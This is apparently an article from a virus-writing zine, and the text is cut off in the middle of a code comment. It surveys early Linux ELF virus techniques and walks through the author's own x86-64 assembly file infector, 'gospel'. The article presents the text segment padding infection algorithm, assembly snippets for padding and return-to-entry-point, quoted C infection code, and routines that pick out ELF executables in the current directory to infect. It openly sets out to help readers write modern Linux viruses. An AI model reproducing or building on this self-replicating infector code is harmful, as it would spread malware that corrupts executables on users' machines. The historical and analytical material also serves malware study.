┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ u used 2 call me on my polymorphic shell phone pt. 1: │ ▄▄▄▄▄ │ gospel for a new epoch [tales from the crypt — *nix │ █ │ virus archaeology and its applications to modern vx] │ █ │ ~ ic3qu33n └───────────────────█ ──┘ [**note: the title of this article is a reference to Yves Tumor's earth-shatteringly brilliant 2020 album "Heaven to a Tortured Mind" and the album's track which bears the same name as this article, caveat s/epoch/century] TOC //////////////////////////////////////////////////////////////////////////// * Introduction * VX PoC/article roadmap and goals * Part 1: For this evening's entertainment, a virus' evolution in 7 acts! * Part 2: Silvio Cesare's Unix VX techniques - Overview * Part 2a. Text segment padding infection * Part 2b: Linux virus requirements breakdown * Part 2c: Infection algorithm implementation * Part 2d: PoC * Part 2e: Reflections - where's my polymorphism uwu * Part 3: A squeeze of LiME [sneak preview] * A toast to new beginnings * Party favors * Greetz * References Introduction /////////////////////////////////////////////////////////////////// Like da Vinci, I am predisposed to visiting morgues and studying the corpses for my anatomical studies. (Yes, dear reader, da Vinci was a goth baddie who snuck into Italian morgues so he could practice anatomical drawings with models who would stay still.) We're taking a page out of his book, so to speak. However, in my case, and for the collective sigh of relief for all readers here, we can recuse ourselves from any notion of being accessories to a crime, since the corpses we're excavating will be those of Unix vx of days past. The careful reader will note that referring to the work of such foundational Unix/ELF vx grandmasters (do we have a better term for this? Legends? 1337 royalty? Another moniker that isn't so dreadfully gauche? Please call in with your suggestions, operators are standing by.) as "corpses" is a rhetorical technique used to set the scene. These "corpses" are alive+well, relevant, well-written and brilliant; we're going to shine a spotlight on the work of a few notable authors of early Linux vx. This article is the first in a series where I'll be revisiting classic Linux vx techniques and adapting them for targeting modern systems. Why? Know your history, bb! Or to put it more formally, our goals will be two-fold: First, from a theoretical perspective it's important to know your history. This is all well and good, but we want to write interesting viruses *now.* So, secondly, from a practical perspective, as will be demonstrated by the author of our first Unix vx archaeological study, sometimes you want to look *backwards* [in an ELF text segment as a means of locating a region to inject a virus], and sometimes you want to look *forward.* And sometimes, you can do interesting things by doing both. So that is what we will do here. We are going to be looking backwards and forwards in rapid succession and at the end of it, we'll have a Linux virus (or 2... or 3...) to write home about. As such, I advise you to do some light stretching beforehand to avoid sustaining a whiplash injury. Ready? Let's begin. VX PoC/article roadmap and goals /////////////////////////////////////////////// I've been digging up skeletons of Unix vx with the following goals: 1. Adapt early *nix vx techniques to write modern Linux viruses (all written in assembly, of course) and use those viruses to make art with a variety of low-level graphics programming constructs. 2. Provide a roadmap for you to adapt early *nix vx techniques in your own modern Linux vx writing. This article is structured into three parts, outlined here. In part 1, to set the stage for our first archaeological study, I'll discuss the work of several authors of early Linux vx -- sourced from the 29a zine archives, currently hosted on VX-Underground. In part 2 we'll dive into the work of Silvio Cesare (silvio) whose articles "UNIX ELF Parasites and virus"[1] and "UNIX Viruses"[2], function as our f oundational holy scripture in crafting gnarly Linux vx. All hail silvio. Amen. I'll focus primarily on one of the four techniques introduced in silvio's papers: the text segment padding infection technique. I'll walk through the details of the virus' algorithm, along with code snippets from my PoC, and discuss design choices and potential challenges of implementing this ELF virus technique. This article is accompanied by the complete source code for my PoC virus "gospel", written in x86-64 asm, which implements Silvio's text segment padding infection technique to infect x86-64 ELF PIE binaries on a modern Linux host. In part 3 of this article, I'll provide an introduction to polymorphism, and build on the techniques covered in parts 1 and 2. I'll discuss several works of early *nix vx that used polymorphism (and metamorphism). Using these works as a guide, I'll walk through my implementation of a polymorphic version of gospel. Part 3 in its entirety will be in a future tmp.0ut volume, but stay tuned until the end of the article for a fun sneak peek! Let's get to writing our Linux vx, shall we? Part 1: For this evening's entertainment, a virus' evolution in 7 acts! //////// I've taken the liberty of excavating some cadavers from the 29A archives to show you, a few interesting examples of early Linux vx. I've even saved you the trouble of having to clean out the dirt from under your fingernails. You're welcome. We can't very well dive in right away to silvio's works. They are complex and merit a close analysis, but in order to get to that point, we have to lay some ground rules and establish our foundation of Linux VX fundamentals. Our first two examples provide such a foundation: "ASM TUTORIAL FOR LINUX n' ELF FILE FORMAT by LiTlLe VxW" [7] and "Linux virus writing tutorial" [8] by mandragore. Before anything else, a VX writer has to understand the goals of their virus. Once they know *what* they want their virus to do, the next step is to evaluate the options for implementing desired virus functionality. [7] and [8] establish a framework for Linux vx implementation. This framework breaks down the key components of a successful virus and can be used to answer the following questions: 1. What are the data structures that a virus will use, target and manipulate throughout its lifecycle? 2. What are the methods a virus will use for targeting those data structures? (i.e. which syscalls will be used and how?) We can generalize this framework to an even greater level of abstraction: code and data. In [8] mandragore refers to this poetically as "2.1 thoses damn structures needed to know." This section in [8] includes detailed descriptions of everyone's favorite ELF structures, namely, the ELF header, the Program headers and the Section headers. I won't detail these structures here, as they will appear later in the article, and in the PoC code that accompanies this article. The voracious reader is encouraged to satiate their appetite for detailed breakdowns of all ELF structures by referring to one of the myriad articles from the tmp.0ut archives or the tmp.0ut resources. [19] Little VxW has similar sections in their article [7], with syscall descriptions, important structures (like dirent and utsname), important flags (such as file access bits and permission flags) and so on. Little VxW provides a significant number of code snippets for useful programming constructs in x86-64 assembly, particularly in the development of Linux vx. There are bare-bones implementations for no fewer than 10 different syscalls used in common tasks (opening, closing, reading from/writing to files etc.), as well as ASCII art diagrams of the aforementioned various headers in an ELF. While the article is focused on 32-bit platforms, and some of the sections are a bit outdated (the article is from 2004, after all), it is clear and detailed. If you're looking for another handy reference on quick-and-dirty asm programming for Linux, this is a nice article to have in your collection. The hidden gem of mandragore's article is in fact, the detailed evolution of one of their virii over the course of "7 acts." It is this part of mandragore's article that I would like to focus on. Mandragore's story — of a virus that fails and fails and fails, and finally succeeds — follows a path known too well by anyone who's ever written a virus. Though common, it is a story that is sadly not told often. Such tales of failure and eventual triumph are not novel in literary circles, but are rarer in vx zines. Thus its inclusion in the article is a welcome addition. For no other reason than to offer a spot at the table in cyberspace to commiserate and bemoan the Sisyphean hurdles of trying to write a beautiful virus. Perhaps this is something you may resonate with: the ability to successfully exploit something often comes after many, many, many failed attempts. It is, unfortunately one of the most effective methods for learning. And it is by tracing the evolution of these failed attempts in the work of another vx writer/researcher, that we can notice some interesting parallels in our own work. Sometimes, we learn best by fucking it up over and over again until we get it right... so why not share the story of those fuck-ups? This is easier to show by example so let's do that now. There are quite a few insightful and fascinating moments of this 7 act saga that is regaled by mandragore. While we could pull out any of these moments, I've chosen to pick one to focus on. In Act 2, mandragore notes, "...i noticed the hole in virutal memory between the code segment and the data one. But i wuzn't able to use it (and believe me, i tryied many things). Overwriting not really used section is not safe, so forget it."[8] Dear reader, should I spoil the surprise? I hate surprises so I'm going to spoil this one. This is the very same technique that silvio perfected in the text segment padding infection technique (covered in part 2 of this very tmp.0ut article that you are reading at this moment!) It's not surprising that two researchers would be interested in the same topic at approximately the same time, this example provides us with a nice vignette to show how different researchers approach a problem. In part 2, we'll see how silvio solved it. Eventually, mandragore takes another approach with the development of their virus and succeeds (congrats mandragore!), and though demo code is not provided, (or at least there was no accompanying demo code in the archived tarball of 29a zines that I extracted and combed through while researching this article) their 29a article is replete with valuable lessons and insights on the vx research and development process. Mandragore also gifts us with the absolute knockout section of golden rules for Linux vx, which I have included in full below. Tag yourself, I'm rule #7. ``` 4.1 Implementing hightech functions Please don't waste this promised land with lame viruses. Respect the linux users and don't fill the world of shit. So add plenty of nice functions. Here are the ten (old) gold rules; 1) You will use the utime and state syscall to restore the file times. 2) You will use the fchmod/chmod and state syscall to restore the file flags. 3) Retro is limited for now.. just avoid infecting goat files. 4) Always think about using encryption, poly, RDA and such things! 5) Disguise the file : overwrite the name section and some other useless part of the file to make it harder to work on. (gdb segfs when it opens an ELF w/o a SHT_STRTAB entry in the section header) 6) You won't infect unless you're sure to not bug everything. 7) Don't run in the street and scream < i'm writing a linux virus ! > 8) You will add a nice payloads, nothing destructiv of course. 9) Don't be full of yourself. Your viruses are the reflect of yourself. 10) You will impose yourself a 10th rule. the more are there, the better it is. ``` [mandragore, 8] To conclude Part 1, we can move on to a full example... well a half example. This isn't me throwing shade. In the author's own words "In the end I would like to say that this is NOT a COMPLETE virus, it's just a program which infects one file with exactly given name (default name is '1'). There's not any payload nor any function for searching for targets, so that's why I call this program HALF virus. Feel free to try it out on any Linux machine, get a copy of any executable, rename it to '1', run 'a' and watch the beauty..." [TheKing1980, 9]. TheKing1980's HALF virus is an ELF infector. TheKing1980's HALF virus works by appending the virus body after the last loadable segment of a target ELF. I have included a brief overview of the virus' functionality, but I encourage you to refer to the article for a more detailed overview and to review the source code. The HALF virus searches a target ELF for the last segment of type PT_LOAD, moves the SH table to the end of the file, and inserts the virus body after the final PT_LOAD segment. It accounts for adding padding bytes following the newly inserted virus body so as to (presumably, this is not explicit but implied) maintain page alignment. It wraps everything up by patching the requisite offsets in the Section Header table to account for the new offsets for all sections that follow the newly inserted virus code; as well as patching the offset to the Section Header table itself. And finally it patches the entry point of the ELF to point to the virus code and concludes the virus code with a jump to the original entry point.[9] In summary — the HALF virus is clever, it's quick and it's written in nasm syntax asm. So by all important metrics, you're an early Linux vx hero in my book, long live TheKing1980. However, there is one part of the code that is of particular interest: a technique for appending padding bytes to the end of a segment following virus insertion using an ftruncate syscall. The relevant code snippet from TheKing1980's OneHalf virus: ``` Next1: ADD bx,[eax + 42] LOOP Loop1 ; Find last loadable segment in PH table POP ecx MOV esi,edx ADD edx,[edi + 20] SUB edx,[edi + 16] SUB edi,eax STC Cont1: XCHG eax,ebx MOV eax,91 INT 80h ; SYS_MUNMAP JNC Quit2 ADD edx,VIRSIZE MOV eax,93 MOV ebx,[ebp] MOV ecx,edx INT 80h ; SYS_FTRUNCATE to new size TEST eax,eax JNZ Quit2 ``` [9] This technique allows you to append a set number of null bytes to a file without the need to perform an lseek on the file first to seek to the correct offset before writing. This is useful for a virus writer who wants to add padding bytes to a file to maintaining page alignment. The ftruncate syscall will simply grow a file by a set amount of null bytes if the integer passed in rdx (where the integer is the target filesize) is larger than the current size of the target file. If a virus writer knows a target offset to write to, and the number of padding bytes they need to insert into a target file to maintain page alignment, then one implementation of a virus could chain pwrite64, ftruncate and pwrite64 syscalls to perform most of the dexterous patchwork. So that is what I did in my virus. The details of this code snippet will be unclear to you now, but that context will be provided in the next section of this article: ``` ; the ftruncate syscall will grow the size of file (corresponding to file descriptor fd, saved to stack at r14 + 416) ; by n bytes, where n is a signed integer, passed in rsi ; ftruncate grows the file by appending null bytes ; this provides the nec. padding bytes between the inserted virus body and the original .data segment of a target ELF ; ensuring that page alignment is maintained in the infected ELF ; ; ftruncate(int fd, offset_t length) ; rdi == fd ; rsi == length ; next_segment_offset: offset of segment after .text in host ELF ; vx_padding_size(# padding bytes after vx)= ; next_segment_offset - curr_offset + PAGESIZE ; save value in esi to vx_padding_size at [r14 + 444] ; .write_padding_after_vx: xor r11, r11 xor rsi, rsi mov r11d, dword [PAGESIZE] mov rsi, qword [r14 + 424] add esi, r11d mov dword [r14 + 444], esi mov rax, 0x4d ;SYS_FTRUNCATE syscall ``` Part 2: Silvio cesare's Unix VX techniques ///////////////////////////////////// "UNIX ELF Parasites and virus"[1] and "UNIX Viruses"[2] by Silvio Cesare (aka silvio), were both published in 1998. There is a fair chance that if you're reading this article, you're already familiar with silvio's work. See elfmaster's excellent retrospective on "Unix Viruses" in this issue of tmp.0ut for more about the articles and their legacy. Silvio's articles on a myriad of Unix/Linux vx techniques that he discovered/invented/brewed in his home lab and simmered to vx excellence (Again, dear reader, you are invited to call in with your thoughts on the best term for this. Operators are standing by at the vx hotline, but be warned that they are prone to excessively long smoke breaks and they will only answer if you call collect.) are well-known and highly regarded. Another example of a great silvio paper is [5], which I won't be covering today but is an excellent read nonetheless. Since his work is so foundational to Linux vx, it only makes sense that we start there. If you're thinking "but I'm baby with Linux vx!!" then consider our foray into these articles your first bb steps. There is a fair amount of overlap between the two articles. In fact, as a researcher, reading these articles in succession yields some surprising and unexpected gems. For example, in [1], Silvio notes "If the parasite code is to be inserted by extending the text segment backwards and using this extra memory, problems can arise because these ELF headers may have to move in memory and thus cause problems with absolute referencing." And in [2], he notes: "Extending the text segment backwards is a viable solution and is documented and implemented further in this article." This was a cool way to observe someone discovering a new technique over time and tbh it was a nice researcher vignette. Yay silvio! Overall, there are four infection techniques presented in these two articles: * file infection * data (segment) infection * reverse text (segment) infection * text segment padding infection The latter three infection techniques are specific to infecting ELF binaries, whereas the first one is a generic file infection technique for any executable. Along with Silvio's articles, an accompanying PoC demo virus (both C source and compiled binary) was initially published and hosted on the website; this site no longer exists (rip) but a snapshot is available on the Wayback Machine, and the tarball is still accessible [see 4]. Of these three ELF-specific infection techniques, I will be covering one in this article — Text segment padding infection. For an excellent demo of one of the other techniques (Reverse text segment infection technique), I refer the reader to TMZ's excellent Nasty.asm in tmp.0ut vol. 1, as well as qkumba's RE of Nasty.asm in this current issue of tmp.0ut. TMZ's Nasty.asm provided me with a roadmap for constructing my PoC and was an invaluable resource for me in writing my first Linux vx. Part 2a: ELF Text segment padding infection technique overview ///////////////// To briefly summarize the text segment padding infection technique, we can exploit the fact that different segments of an ELF binary need to be aligned on a page boundary in memory and thus will have a set number of padding bytes between segments (i.e. .text, .data, etc.) By inserting our virus payload into the padding bytes themselves, ensuring that proper page alignment remains intact, then we'll simply need to patch the corresponding fields in the ELF header (and program headers, and section headers) to update relevant offsets and match the changes that result after inserting our virus code into the host ELF. Below is a visual overview of the use of the padding bytes as a code cave: [With the diagrams, I am using the same technique for describing this as Silvio used in [1] and [2]. Describing the infection techniques by using ASCII art diagrams that show the virus code, padding, data and text segments — is such an excellent visual teaching tool that is worth adapting here. Seriously though, plz read silvio's articles first.] .text segment = + .data segment = d Padding = P Virus = V [Program prior to infection] -[++++++++ +++++++P]<- text segment + padding -[PPPPPPPP PPPPPPPP]<- padding -[PPPPPPPP dddddddd]<- padding + data segment -[dddddddd dddddddd]<- data segment [After vx infection (using text segment padding infection technique)] -[++++++++ +++++++V]<- text segment + ~*virus*~ -[VVVVVVVV VVVVVVPP]<- ~*virus*~ + padding -[PPPPPPPP dddddddd]<- padding + data segment -[dddddddd dddddddd]<- data segment This insertion step requires some minor bookkeeping, (e.g. changing p_filesz and p_memsz in the Program Header for the .text segment). In addition to implementing routines for patching the ELF Header and the Program Headers, the virus writer must implement an additional patching routine to successfully infect stripped binaries. Our virus code will be inserted into the padding bytes between the .text and .data segments. This padding is viewed as essentially purgatory/limbo/no man's land and it is not associated with a section in the ELF. If our virus infects a host ELF that is a stripped binary, then the virus cannot rely on the binary's symbols to resolve addresses. Without a workaround, the resulting infected ELF will not run, and our virus' efficacy will be limited to infecting unstripped binaries. To ensure that our virus remains "strip-safe," then we must implement an additional routine: associate the virus code with the last section in the .text segment by adjusting the sh_len field of that section to account for the newly inserted virus code. The pseudocode outline of the algorithm for the infection routine (which makes up the bulk of our virus code) follows. It is adapted from the algorithm defined by Silvio in [2], with my own additional notes added for clarity during my vx development process: ;********************************************************** ; Text segment padding virus, infection routine: ; ; assumes the following: ; vlen == length of virus code ; PAGESIZE == 4096 ; ; 1. Find and save original entry point (OEP) of ELF host ; 2. Patch ELF header values to account for newly inserted virus code ; a. Patch e_entry in the ELF header to point to the beginning of the virus code ; b. change e_shoff in virus ELF header to new_vx_e_shoff s.t. new_vx_e_shoff = host_e_shoff + PAGESIZE ; 3. a. Loop through all Phdrs to find text segment Phdr ; b. if curr_Phdr == text_segment_Phdr then, do the following: ; i. increase p_filesz by vlen [p_filesz += vlen] ; ii. increase p_memsz by vlen, [p_memsz += vlen] ; c. Else, for all Phdrs corresponding to segments located after the inserted ; virus code (aka for each Phdr of a segment after the text segment), ; then, do the following: ; i. increase p_offset by PAGESIZE ; 4. Loop through all Shdrs ; a. If curr_shdr == last_shdr_text_segment then, ; i. increase sh_len by vlen [sh_len += vlen] ; b. Else, for all Shdrs corresponding to sections located after the inserted ; virus code (aka for each Shdr of a section after virus code), then, do ; the following: ; i. increase sh_offset by PAGESIZE [sh_offset += PAGESIZE] ; 5. Insert the virus code into the host program ; a. In our case, insert the virus code into the tempfile we are constructing to replace host ELF ; b. Add routine to end of virus code so that execution continues with a jump back to saved OEP ; ;********************************************************** It's important to note that several of the values defined above (i.e. vx_shoff in item #2b) will be computed during the Phdr and Shdr patching routines, and will not be known ahead of time. As such, the ordering of the steps in the implementation of the algorithm will differ from the initial outline in the pseudocode above. As a reference, here's the relevant code snippet from Silvio's virus written in C [elf-p-virus.c, 4]: 230 /* patch the offset */ 231 *(long *)&v[vhoff] = offset; 232 233 /* read the shdr's */ 234 235 if (lseek(fd, ehdr.e_shoff, SEEK_SET) < 0) goto error; 236 if (read(fd, (void *)sdata, slen) != slen) goto error; 237 238 /* update the shdr's to reflect the insertion of the parasite */ 239 240 for (shdr = (Elf32_Shdr *)sdata, i = 0; i < ehdr.e_shnum; i++) { 241 if (shdr->sh_offset >= offset) { 242 shdr->sh_offset += PAGE_SIZE; 243 /* is this the last text section? */ 244 } else if (shdr->sh_addr + shdr->sh_size == evaddr) { 245 /* if its not strip safe then we cant use it */ 246 if (shdr->sh_type != SHT_PROGBITS) goto error; 247 248 shdr->sh_size += vlen; 249 } 250 251 ++shdr; 252 } 253 254 /* update ehdr to reflect new offsets */ 255 256 oshoff = ehdr.e_shoff; 257 if (ehdr.e_shoff >= offset) ehdr.e_shoff += PAGE_SIZE; [silvio, 4] Part 2b: Linux virus requirements breakdown //////////////////////////////////// /////////////////////////////////////////// [or: so u want 2 write linux vx bb?] Silvio's articles outline the infection algorithms for each virus technique. However, the articles demand no singular method for the various auxiliary components of our virus, which are important to define before we implement it. So let's define those now: 1. A work area to save the original state of the host ELF Due to the nature of an ELF file and the infection method chosen (writing our virus to the padding bytes following the .text segment, then adjusting offsets, as opposed to inserting the virus body in a different location, such as the end of the file, the last PT_LOAD segment, or to the end of the data segment), we'll need to perform something of a Frankenstein procedure to construct our final infected ELF. We need to map the host ELF to a "work area" prior to infection. We will use this work area to lay out all our ELF components (e.g. the EHdr, the PHdrs, the Shdrs etc.) in their original state before we stitch them back together into one monstrous creature. We could define this "work area" as an uninitialized buffer in our virus, but that could get messy in dealing with the .bss. So, let's take a simpler approach: use mmap to map our original host ELF into a work area, the saved contents of which we will use as we progressively patch different regions of the host file during the infection process. Which leads us to our next requirement... 2. A target area for building our final daemonic bb vx Don't cry. I know, it's getting messy in our main work area and we need some more space. After all, we can't start assembling our myriad of host and virus components on our main work area. Why? We have to use the main work area to save important info about the original state of our host file! If we start stitching up our monster here, we're going to overwrite important details of the Ehdrs and the Phdrs and the Shdrs, and then we won't know how to get back. Things will get fucked up and then you'll start crying about how "Linux vx is so hard!!" and "why do we have to write everything in assembly?" and "I thought you said you liked my haircut??" And honestly, sweetheart, we just don't have the time. I'm pulling over another workbench. You work over there and maintain the books. I'll work over here, with my needle, ready to stitch together the monster we're creating. So, we need a target work area for building our complete infected host + vx ELF. A temp file is a good solution to this. There are other options, the exploration of which I leave as an exercise to the reader. Next, we need to define and gather virus ingredients. Recall from our analysis in [Part 1a] that we can the techniques from the virus writing framework of the articles by Little VxW[7] and mandragore[8] for this task. The relevant data structures for my implementation of the text segment padding infection technique in gospel are the following: * the ELF Header * ELF Program Headers * ELF Section headers * dirent struct (returned from getdents64 syscall, used for parsing dirents) * the stat struct (returned from an fstat syscall) Before I introduce you to the stack layout of gospel, which details how/where I stored each of these data structures, I'll note a few points: * Originally, I placed all of the struct definitions for the relevant data structures in a .bss section in my virus. However, due to the logic of the virus' infection/replication routines (specifically how it reconstructs a copy of itself in a newly infected host ELF), these struct definitions had to be moved from the .bss section to the .text section. Defining them in the .bss section would have required the addition of a routine for copying the .bss section from the virus, and I preferred the simpler logic (and smaller overall code size) of a virus that was entirely self-contained (so to speak) within the .text segment. * Several of the variable names stored on the stack may appear obtuse to you for the moment, dear reader, but smile and nod your greetings and I'll catch you up on the details in due time. I'll introduce these in two phases: First, I will describe struct definitions in the .bss section. Second, I will present the stack layout used in my PoC called "gospel". This layout is used instead of a .bss or .data section in our virus, and stores all important data in the .text section. Now without further ado, the stack layout of gospel: ``` ;*************************************************************** ; gospel stack layout: ; stacks on stacks on stacks ; I'm doing this because a .bss section for a virus ; is a nightmare to deal with ; so, yw, I've written out the stack layout 4 u ; il n'y a plus de cauchemars ; jtm ; xoxo ; ; Note that I use r14 here rather than rsp ; This is because gospel begins by reserving 0x2000 bytes on the stack and then ; moving the saved value of [rsp - 0x2000] to r14 ; ;*************************************************************** ; ;////////// filestat struct ////////////// ; ; r14 = struc filestat ; r14 + 0 .st_dev resq 1 ;IDdevcontainingfile ; r14 + 8 .st_ino resq 1 ;inode# ; r14 + 16 .st_mode resd 1 ;mode ; r14 + 20 .st_nlink resd 1 ;#ofhardlinks ; r14 + 24 .st_uid resd 1 ;useridofowner ; r14 + 28 .st_gid resd 1 ;groupIdofowner ; r14 + 32 .st_rdev resq 1 ;devID ; r14 + 40 .st_pad1 resq 1 ;padding ; r14 + 48 .st_size resd 1 ;totalsizeinbytes ; r14 + 52 .st_blksize resq 1 ;blocksizeforfsi/o ; r14 + 60 .st_pad2 resd 1 ;padding ; r14 + 68 .st_blocks resq 1 ;#of512bblocksalloc'd ; r14 + 76 .st_atime resq 1 ;timelastfileaccess ; r14 + 84 .st_mtime resq 1 ;timeoflastfilemod ; r14 + 92 .st_ctime resq 1 ;timelastfilechange ; ... ; r14 + 144 end struc ; ; ; ;////////// ***Return to OEP instructions*** ////////////// ; Instructions for returning to original entry point of PIE host ELF ; after conclusion of vx routines; appended to end of vx body ; ; Shout to MalcolmVX for the guidance and help on figuring out the ret2oep routine ; References: ;[16] Return To Original Entry Point Despite PIE", s0lden, tmp.0ut, volume 1, https://tmpout.sh/1/11.html ;[17] S01den and Sblip, tmp.0ut, volume 1, https://tmpout.sh/1/Linux.Kropotkine.asm ;[18] anansi, sad0p, https://github.com/sad0p/anansi ; ;[r14 + 150] = 0xe8 ;call get_rip ;[r14 + 151] = 0x14 ;at offset of 0x14 from curr instruction ;[r14 + 155] = 0x2d48 ;sub rax, vlen+5(length of get_rip instructions) ;[r14 + 157] = vlen+5 ;[r14 + 161] = 0x2d48 ;sub rax, vxstart ;[r14 + 163] = vxstart ;[r14 + 167] = 0x0548 ;add rax, OEP ;[r14 + 169] = OEP ;[r14 + 173] = 0xe0ff ;0xff 0xe0 = jump eax ;[r14 + 175] = 0x24048b48 ;mov rax, [rsp]; - call get_rip ;[r14 + 179] = 0xc3 ;ret ; ; ; ;////////// Local variables ////////////// ; used for phdr and shdr manipulation routines ; ; r14 + 200 = local filename (saved from dirent.d_nameq) ; ; ... ; ; r14 + 400 ; evaddr: dq 0 ; r14 + 408 ; oshoff: dq 0 ;original section header offset ; r14 + 416 ; fd: dq 0 ; r14 + 424 ; next_segment_offset: dq 0 ; r14 + 432 ; hostentry_offset: dd 0 ; r14 + 436 ; vxoffset: dd 0 ; r14 + 440 ; vxshoff: dd 0 ; r14 + 444 ; vx_padding_size: dd 0 ; r14 + 448 ; original_entry_point: dq 0 ; ; r14 + 500 = # of dirent entries returned from getdents64 syscall ; ; ;////////// dirent struct ////////////// ; ; r14 + 600 = struc linuxdirent ; r14 + 600 .d_ino: resq 1 ; r14 + 608 .d_off: resq 1 ; r14 + 616 .d_reclen: resb 2 ; r14 + 618 .d_nameq: resb 1 ; r14 + 619 .d_type: resb 1 ; r14 + 620 endstruc ; ; ;////////// ELF Header ////////////// ; ; r14 + 800 = mmap'd copy of host ELF executable to infect ; r14 + 800 struc elf_ehdr ; r14 + 800 .e_ident resd 1 ;ELF sig.,bytes0-3 ; r14 + 804 .ei_class resb 1 ;ELF class,byte 4 ; r14 + 805 .ei_data resb 1 ;ELF byte 5 ; r14 + 806 .ei_version resb 1 ;byte 6 ; r14 + 807 .ei_osabi resb 1 ;byte 7 ; r14 + 808 .ei_abiversion resb 1 ;byte 8 ; r14 + 809 .ei_padding resb 6 ;bytes 9-14 ; r14 + 815 .ei_nident resb 1 ;sizeidentarr,byte15 ; r14 + 816 .e_type resw 1 ;uint16_t,bytes16-17 ; r14 + 818 .e_machine resw 1 ;uint16_t,bytes18-19 ; r14 + 820 .e_version resd 1 ;uint32_t,bytes20-23 ; r14 + 824 .e_entry resq 1;ElfN_Addr,bytes24-31 ; r14 + 832 .e_phoff resq 1 ;ElfN_Off,bytes32-39 ; r14 + 840 .e_shoff resq 1 ;ElfN_Off,bytes40-47 ; r14 + 848 .e_flags resd 1 ;uint32_t,bytes48-51 ; r14 + 852 .e_ehsize resb 2 ;uint16_t,bytes52-53 ; r14 + 854 .e_phentsize resb 2 ;uint16_t,bytes54-55 ; r14 + 856 .e_phnum resb 2 ;uint16_t,bytes56-57 ; r14 + 858 .e_shentsize resb 2 ;uint16_t,bytes58-59 ; r14 + 860 .e_shnum resb 2 ;uint16_t,bytes60-61 ; r14 + 862 .e_shstrndx resb 2 ;uint16_t,bytes62-63 ; r14 + 864 endstruc ; ; ;////////// ELF Program Headers ////////////// ; ; the ELF Program headers will exist as entries in the PHdr table ; of course, we won't know ahead of time how many entries there are ; but we do know the offsets to all the fields of each Phdr entry ; so we can use those offsets, combined with the elf_ehdr.e_phoff to ; calculate the offsets of the fields in each PHdr as we iterate ; through them ; ; the calculation to each phdr will essentially be: ; phdr_offset = elf_ehdr.e_phoff + (elf_ehdr.e_phentsize * phent_index) ; where phent_index is an integer n in the range [0, elf_ehdr.e_phnum] ; corresponding to the nth Phdr entry ; I've simplified this in the below offset listings -- ; the below offset listings assume that you are at the 0th PHdr ; obv adjust accordingly ; r14 + elf_ehdr.e_phoff + 0 struc elf_phdr ; r14 + elf_ehdr.e_phoff + 0 .p_type resd 1 ;uint32_t ; r14 + elf_ehdr.e_phoff + 4 .p_flags resd 1 ;uint32_t ; r14 + elf_ehdr.e_phoff + 8 .p_offset resq 1 ;Elf64_Off ; r14 + elf_ehdr.e_phoff + 16 .p_vaddr resq 1 ;Elf64_Addr ; r14 + elf_ehdr.e_phoff + 24 .p_paddr resq 1 ;Elf64_Addr ; r14 + elf_ehdr.e_phoff + 32 .p_filesz resq 1 ;uint64_t ; r14 + elf_ehdr.e_phoff + 40 .p_memsz resq 1 ;uint64_t ; r14 + elf_ehdr.e_phoff + 48 .p_align resq 1 ;uint64_t ; r14 + elf_ehdr.e_phoff + 56 endstruc ; ; ;////////// ELF Section Headers ////////////// ; ; ; We can use the same breakdown of offsets that we used above ; for calculating the offsets of the fields in each of the ; ELF Section Headers: ; ; r14 + elf_ehdr.e_shoff + 0 struc elf_shdr ; r14 + elf_ehdr.e_shoff + 0 .sh_name resd 1 ;uint32_t ; r14 + elf_ehdr.e_shoff + 4 .sh_type resd 1 ;uint32_t ; r14 + elf_ehdr.e_shoff + 8 .sh_flags resq 1 ;uint64_t ; r14 + elf_ehdr.e_shoff + 16 .sh_addr resq 1 ;Elf64_Addr ; r14 + elf_ehdr.e_shoff + 24 .sh_offset resq 1 ;Elf64_Off ; r14 + elf_ehdr.e_shoff + 32 .sh_size resq 1 ;uint64_t ; r14 + elf_ehdr.e_shoff + 40 .sh_link resd 1 ;int32_t ; r14 + elf_ehdr.e_shoff + 44 .sh_info resd 1 ;uint32_t ; r14 + elf_ehdr.e_shoff + 48 .sh_addralign resq 1 ;uint64_t ; r14 + elf_ehdr.e_shoff + 56 .sh_entsize resq 1 ;uint64_t ; r14 + elf_ehdr.e_shoff + 64 endstruc ;*************************************************************** ``` For our code ingredients, we can use the algorithm from silvio's paper as a guide, as it outlines the virus' infection routine. My implementation of this algorithm follows in [part 2c]. We will need other routines in our virus, such as for identifying viable target files. This will answer questions like "How do we even find files to infect?" and "How do we verify that each candidate file is a valid target ELF?? Of course, there are many ways one could go about a check_file routine. In my implementation, I devised an approach based on the techniques of works by silvio[1,2], TMZ[14], and elfmaster[13], as these were the virii that I referenced most often while writing this PoC. In my PoC, to find target files to infect, gospel does the following: * Use the getdents64 syscall to get the dirent structs for the current working directory. * Iterate through each entry (if getdents64 returns a positive integer value; otherwise, uh oh) and perform checks. * After each file has been checked, it either calls the infection routine (if the candidate file is a valid target ELF) or the check_file routine will check the file in the next dirent struct. It calculates the offset to the next dirent entry by using the d_reclen field value of the current dirent struct. What are the requirements that we want the file we are checking to satisfy? Minimally, the target file has to be an ELF. Beyond that, the required elements of the ELF target will be specific to the virus being implemented and the target system. Here are the requirements I used to determine valid ELF infection targets: ``` ;********************************************************** ;check_file: ; open file -> fstat file (get file size) - > use fstat.size for mmap call & mmap file ; upon successful mmap, close file ; use mmap'd file for checks to confirm that the target file satisfies the following: ; 1. the target file is an executable* ; 2. the target file is an ELF ; 3. the target file is a 64-bit ELF ; 4. the target file arch is x86_64 ; 5. The target file is neither "." (cwd) nor ".." (Parent dir) ; 6. the target file is not already infected (check w signature at known offset) ; *Note: we want to confirm that a candidate file is a regular file and an ; executable file, so that we don't waste time checking a dirent that corresponds ; to a directory. If you want to confirm that a target is a regular file, you ; could check whether curr_d_entry->d_type == DT_REG but the d_type field is ; technically not a required field in a dirent struct and of course it wasn't ; present on my machine. ; ; Another option is to check a field in the fstat structure (after making an ; fstat syscall of course): st_mode. We can query the st_mode field in the ; returned stat struct to determine if the file we are currently examining is ; a regular file; our check will pass when the st_mode field satisfies the ; requirements of S_ISREG. ; ; But not so fast! If you're coding this in asm, then you'll realize that ; S_ISREG is actually a macro, which expands to be: ; S_ISREG equ ((stat.st_mode & S_IFMT) == S_IFREG) ; where: ; S_IFREG dq 0x0100000 ;regular file ; S_IFMT dq 